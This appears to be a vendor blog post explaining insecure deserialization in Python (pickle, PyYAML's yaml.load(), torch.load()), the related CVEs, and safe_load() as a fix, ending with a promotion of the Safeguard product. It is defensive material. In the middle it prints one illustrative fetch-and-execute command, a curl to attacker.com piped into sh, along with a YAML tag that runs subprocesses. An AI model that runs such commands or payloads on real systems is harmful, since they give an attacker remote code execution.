Safeguard
Industry Analysis

Insecure Deserialization Prevention in Python: yaml.safe_...

Why yaml.load() and pickle.load() became RCE vectors in Python, the CVEs behind them, and how safe_load() closes the gap — plus how Safeguard catches unsafe deserialization before it ships.

Aman Khan
AppSec Engineer
7 min read

A machine learning team pulls a pre-trained model checkpoint from a public repository, loads it with torch.load(), and moves on with their day. A backend developer parses a YAML config file uploaded by a customer using yaml.load(data). Both actions look routine. Both can hand an attacker a remote shell.

Insecure deserialization is one of the oldest, least glamorous vulnerability classes in application security — it doesn't get a catchy name or a logo, but it has quietly powered remote code execution bugs in Python codebases for over a decade. The core issue is simple: pickle was built to reconstruct arbitrary Python objects, including instructions to execute arbitrary code, and early versions of yaml.load() inherited that same power by default. This post breaks down why these two functions behave so differently from their "safe" counterparts, what CVEs resulted from getting it wrong, and how supply chain security tooling catches these patterns before they ship.

What actually happens when Python deserializes untrusted data?

Deserialization turns a byte stream back into a live Python object, and for formats like pickle, that process can include executing code, not just building data structures. A pickled object can define a __reduce__ method that returns a callable and arguments — when the unpickler encounters this, it calls that function with those arguments, no questions asked. This is by design: pickle needs to reconstruct complex objects like custom classes, and __reduce__ is the general mechanism for that. The problem is that "reconstruct an object" and "run arbitrary code" are the same operation from the interpreter's point of view. A payload as short as a few lines can turn pickle.loads() into os.system("curl attacker.com/payload | sh").

YAML has a related but distinct problem. The full YAML 1.1 spec supports tags like !!python/object/apply that instruct a parser to instantiate arbitrary Python objects and call arbitrary functions during parsing — a feature PyYAML implemented faithfully in its default loader for years. Both formats fail the same way: a "just read the data" function is actually "execute instructions embedded in the data."

Why is pickle.load() considered dangerous by design, not by bug?

Because there is no configuration flag that makes pickle.load() safe for untrusted input — the danger is the intended behavior of the format, not an implementation defect. The Python documentation has stated plainly since at least the 2.x era: "Never unpickle data received from an untrusted or unauthenticated source." Unlike a SQL injection or an XSS bug, there's no patch that fixes pickle's threat model, because arbitrary code execution is a documented feature, not a flaw in the parser.

This is exactly why insecure deserialization keeps resurfacing in machine learning tooling. PyTorch's torch.load() uses pickle under the hood by default, and in 2022 Trail of Bits published research demonstrating that a malicious .pt or .pth checkpoint file could execute code the moment it was loaded — no inference required. Hugging Face responded by shipping picklescan to scan uploaded model files on the Hub, and by 2023 began pushing the safetensors format specifically because it deserializes tensor data without ever invoking Python's object reconstruction machinery. The lesson generalizes well beyond ML: any codebase that pickles Redis cache values, Celery task arguments, or session cookies is one compromised upstream dependency away from remote code execution.

Why did yaml.load() carry pickle-level risk for over a decade?

Because PyYAML's default loader supported the same "construct arbitrary Python object" tags that make pickle dangerous, and that default didn't change until 2021. CVE-2017-18342, assigned a CVSS score of 9.8, formalized what security researchers had flagged for years: calling yaml.load(untrusted_input) with the default Loader let an attacker execute arbitrary code via constructs like !!python/object/apply:subprocess.check_output. PyYAML's maintainers responded incrementally rather than all at once. Version 5.1 (March 2019) added a FullLoader and started warning developers that calling yaml.load() without specifying a Loader was deprecated. But the fix wasn't complete: CVE-2020-1747, patched in PyYAML 5.3.1 (March 2020), showed that even FullLoader could still be tricked into instantiating arbitrary Python objects through the python/object/new constructor. A second round, CVE-2020-14343, required another patch in PyYAML 5.4 (January 2021) before full_load() actually lived up to its name. It took three release cycles and two CVEs across two years to make the "full" loader match its documented intent — a good illustration of how deceptively hard it is to sandbox a general-purpose object graph format.

Is yaml.safe_load() actually safe against every attack?

Mostly, yes for code execution — yaml.safe_load() restricts parsing to a fixed set of primitive Python types (strings, numbers, lists, dicts, booleans, None) and never invokes arbitrary constructors, which closes the RCE path that plagued yaml.load(). SafeLoader has been the recommended default since PyYAML 5.1, and as of PyYAML 6.0 (2022), yaml.load() requires an explicit Loader argument at all, making it much harder to accidentally reach for the dangerous default.

But "safe from RCE" isn't the same as "safe from every attack." yaml.safe_load() is still vulnerable to billion-laughs-style resource exhaustion attacks (deeply nested anchors and aliases that expand exponentially in memory), and it offers no protection if the application logic itself trusts parsed values unsafely downstream — for example, using a YAML-supplied string as a file path or shell argument. Safe deserialization stops the parser from running attacker code; it does nothing to stop the application from misusing attacker data afterward. Teams that treat safe_load() as a blanket fix and stop threat-modeling the rest of the pipeline are trading one bug class for a false sense of completeness.

What real incidents show the cost of getting this wrong?

Every major Python web framework has had to explicitly move away from pickle for exactly this reason. Django shipped a PickleSerializer for session data for years before CVE-2011-4136 highlighted the risk of an attacker forging a session cookie that, once unpickled, executed arbitrary code; Django 1.6 (2013) switched the default session serializer to JSON, and current Django documentation still warns explicitly against the pickle backend for this reason. Celery's documentation carries a standing security note that using the pickle task serializer with an untrusted or exposed broker is equivalent to granting remote code execution, which is why json has been the default serializer since Celery 4.0 (2016). Static analysis tools have codified the pattern too: Bandit flags pickle.load() and yaml.load() as B301 and B506 respectively, meaning these two calls have been treated as security-review trip wires in Python tooling for years, not edge cases.

The common thread across PyYAML's CVEs, the Django session issue, Celery's serializer warning, and the more recent ML checkpoint research is the same root cause repeating in different file extensions: a deserializer that was built to reconstruct rich objects gets pointed at data an attacker controls, and "parsing" becomes "executing." The fix is never a patch to the format — it's removing the ability to construct arbitrary objects at all.

How Safeguard Helps

Insecure deserialization rarely announces itself in a code review — pickle.loads(response.content) and yaml.load(config_data) read like ordinary parsing code unless you already know the history behind those function names. That's the gap Safeguard is built to close across the software supply chain.

Safeguard's static analysis scans Python codebases for exactly these dangerous sink patterns — bare pickle.load()/pickle.loads() calls on network or file input, yaml.load() without an explicit SafeLoader, and unsafe deserialization in dependencies like torch.load() calls that don't set weights_only=True — and maps them to their historical CVEs (CVE-2017-18342, CVE-2020-1747, CVE-2020-14343) so engineers see the concrete precedent, not just an abstract "insecure deserialization" label. Because these vulnerabilities often live in third-party packages rather than first-party code, Safeguard's software composition analysis tracks which of your dependencies pull in known-vulnerable PyYAML versions or pickle-based model loading paths, and flags them before they reach production.

For teams shipping or consuming ML artifacts, Safeguard extends this coverage to model supply chain risk — scanning checkpoint files and package provenance for the same pickle-based execution risk that Trail of Bits documented in .pt files, so a poisoned model checkpoint gets caught at ingestion rather than at inference time. Combined with policy enforcement that can block builds using deprecated or unsafe deserialization calls, Safeguard turns "we didn't know that function was dangerous" into a gate that catches the pattern automatically, every time, across every repository in the organization.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.